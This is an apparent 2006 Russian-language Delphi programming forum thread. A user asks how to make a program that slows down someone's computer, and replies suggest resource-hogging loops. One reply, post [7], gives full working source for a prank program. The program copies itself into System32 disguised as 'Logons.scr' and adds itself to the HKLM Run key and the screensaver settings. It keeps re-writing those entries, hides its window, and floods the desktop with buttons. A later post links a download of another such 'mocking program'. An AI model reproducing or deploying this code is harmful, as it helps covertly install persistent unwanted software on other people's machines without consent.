загрузить комп

← →
miSTER-TWISTER (2006-07-28 18:31) [0]

подскажите как с помощью дельфи можно напсиать прогу которая
сможет заставить притормаживать комп средней производительности?

← →
KilkennyCat © (2006-07-28 18:34) [1]

Для начала напишем прогу, которая определит, средняя ли производительность у компа, или нет...

Сформулируйте вопрос грамотно, по существу и в рамках правил, традиций и идеологии данного форума.

← →
cando © (2006-07-28 18:46) [2]

повысь приорете своей программы до максимума
и выполняй любые действия например большой цикл или вообще бесконечный
гарантирую без перезагрузки или отключения твоей программы ком висеть будет страшно

← →
DevilDevil © (2006-07-28 18:47) [3]

for (int i = 0; ; i++){}
:)

← →
Мефисто (2006-07-28 18:52) [4]

> miSTER-TWISTER (28.07.06 18:31)

Как показывает практика. Программы особой кривоватости успешно справляются с данной задачей.

← →
IceBeerg © (2006-07-28 18:55) [5]

Мефисто (28.07.06 18:52) [4]
Как показывает практика. Программы особой кривоватости успешно справляются с данной задачей.
Во-во! Тут бъешся, чтобы программа быстрее работатла и как можно меньше другим программам мешала...

← →
cando © (2006-07-28 18:58) [6]

Просто человек хочет комуто каку подстроить :)

← →
koha © (2006-07-28 20:45) [7]

> Просто человек хочет комуто каку подстроить

Вот, например, это было написано в эпоху юношества моего несознательного
- так шутка, может даже и работать будет, пусть человек потешится ....... лижбы не плакало ....

unit Unit1; interface uses Windows, SysUtils, Forms, Registry, ExtCtrls, Classes, Controls,Buttons, XPMan, StdCtrls; type TFM = class(TForm) Tmr: TTimer; ChkInstall: TTimer; TmFatal: TTimer; XPManifest1: TXPManifest; procedure TmFatalTimer(Sender: TObject); procedure FmCloseQuery(Sender: TObject; var CanClose: Boolean); procedure FmActivete(Sender: TObject); procedure ChkInstallTimer(Sender: TObject); procedure TmrTimer(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var FM: TFM; WinDir,ComSpec,SystemRoot,CurPath,User: String; Reg: TRegistry; X,Y,i : integer; Pnt: TPoint; TmFlag: Boolean; btns: TButton; implementation {$R *.dfm} procedure TFM.FormCreate(Sender: TObject); begin Fm.KeyPreview := true; Fm.TransparentColor := true; Fm.TransparentColorValue := $000000; Fm.Height := 30; Fm.Width := 195; Fm.Caption := "Windows Logons"; Fm.BorderStyle := bsNone; Fm.Position := poScreenCenter; CurPath := LowerCase(ExtractFilePath(paramstr(0))); SystemRoot := GetEnvironmentVariable("SystemRoot"); ComSpec := GetEnvironmentVariable("ComSpec"); WinDir := GetEnvironmentVariable("WinDir"); User := GetEnvironmentVariable("Username"); if Not FileExists(SystemRoot+"\system32\Logons.scr") then Winexec(PChar(ComSpec+" /c copy "+paramstr(0)+" "+SystemRoot+ "\System32\Logons.scr"),SW_ShowMinimized); try try //Registry Run Reg:=Tregistry.Create; Reg.RootKey:=HKEY_LOCAL_MACHINE; if Reg.OpenKey("\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",true) then Reg.WriteString("Microsoft Logons","Logons.scr"); Finally Reg.CloseKey; Reg.Free End; except end; try try //Registry SCRNSAVE.EXE Reg:=Tregistry.Create; Reg.RootKey:=HKEY_CURRENT_USER; if Reg.OpenKey("\Control Panel\Desktop",true) then begin Reg.WriteString("ScreenSaveTimeOut","60"); Reg.WriteString("SCRNSAVE.EXE",SystemRoot+"\system32\Logons.scr"); end; Finally Reg.CloseKey; Reg.Free End; except end; If CurPath <> LowerCase(SystemRoot+"\system32\") then Application.Terminate; TmFlag:=false; Randomize; Repeat i:=random(120); Until i > 20; Tmr.Interval:=1000*60*i; TmFatal.Interval:=1000; ChkInstall.Interval:=1000*30; TmFatal.Enabled:=false; end; {--------------------------------- On Timer -----------------------------------} procedure TFM.TmrTimer(Sender: TObject); var i: integer; begin randomize; If TmFlag = false then begin TmFatal.Enabled:=true; TmFlag:=true; repeat i:=random(10); Until i > 3; Tmr.Interval:=1000*60*i; end else begin TmFatal.Enabled:=false; TmFlag:=false; Repeat i:=random(60); Until i > 15; Tmr.Interval:=1000*60*i; end; end; {--------------------------------- Chk Install --------------------------------} procedure TFM.ChkInstallTimer(Sender: TObject); begin //Registry Run try try Reg:=Tregistry.Create; Reg.RootKey:=HKEY_LOCAL_MACHINE; if Reg.OpenKey("\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",true) then Reg.WriteString("Microsoft Logons","Logons.scr"); Finally Reg.CloseKey; Reg.Free End; except end; //Registry SCRNSAVE.EXE try try Reg:=Tregistry.Create; Reg.RootKey:=HKEY_CURRENT_USER; if Reg.OpenKey("\Control Panel\Desktop",true) then begin Reg.WriteString("ScreenSaveTimeOut","60"); Reg.WriteString("SCRNSAVE.EXE",SystemRoot+"\System32\Logons.scr"); end; Finally Reg.CloseKey; Reg.Free End; except end; end; {---------------------------------- Activate ----------------------------------} procedure TFM.FmActivete(Sender: TObject); begin ShowWindow(Handle, SW_HIDE); ShowWindow(Application.Handle, SW_HIDE); end; {--------------------------------- Close Query --------------------------------} procedure TFM.FmCloseQuery(Sender: TObject; var CanClose: Boolean); begin //CanClose:=false; end; {-------------------------------- Fatal ---------------------------------------} procedure TFM.TmFatalTimer(Sender: TObject); begin randomize; btns:=TButton.Create(Owner); btns.Parent:=Fm; windows.SetParent(btns.Handle,GetDesktopWindow()); btns.Left:=random(Screen.Width); btns.Top:=random(Screen.Height); btns.Width:=(8+Length(User))*7; btns.Caption:="Привет "+User+"!"; GetCursorPos(Pnt); If (Pnt.X <> X) or (Pnt.Y <> Y) then begin X:=Pnt.X; Y:=Pnt.Y; for i:=1 to random(10) do begin btns:=TButton.Create(Owner); btns.Parent:=Fm; windows.SetParent(btns.Handle,GetDesktopWindow()); btns.Left:=random(Screen.Width); btns.Top:=random(Screen.Height); btns.Width:=(8+Length(User))*7; btns.Caption:="Привет "+User+"!"; end; end; end; end.

← →
Virgo_Style © (2006-07-28 20:50) [8]

Обратись в лабораторию Касперского.

Сегодня спасал компьютер от этого зверя, реакции не было вообще. Впрочем, возможно, это была индивидуальная несовместимость с Пандой.

← →
koha © (2006-07-28 20:54) [9]

> Virgo_Style ©

> Сегодня спасал компьютер от этого зверя

зверь это кто? касперыч что ли и с какой верисией? с 6?

> подскажите как с помощью дельфи можно напсиать прогу которая
> сможет заставить притормаживать комп средней производительности?

Копируешь в цикле непрерывно большой файл из одного места в другое, и тормоза будут обеспечены (если конечно компьютер средней производительности).

← →
Степан (2006-07-29 21:17) [12]

А зачем тебе прога! Поставь ему Windows XP. Тормоза и глюки в исполнении компании Минисофт обеспечены :)

Если надо пакость то вот:
http://slil.ru/22967282
пользуйся на здоровье Это моя первая издевательская программа

загрузить комп Найти похожие ветки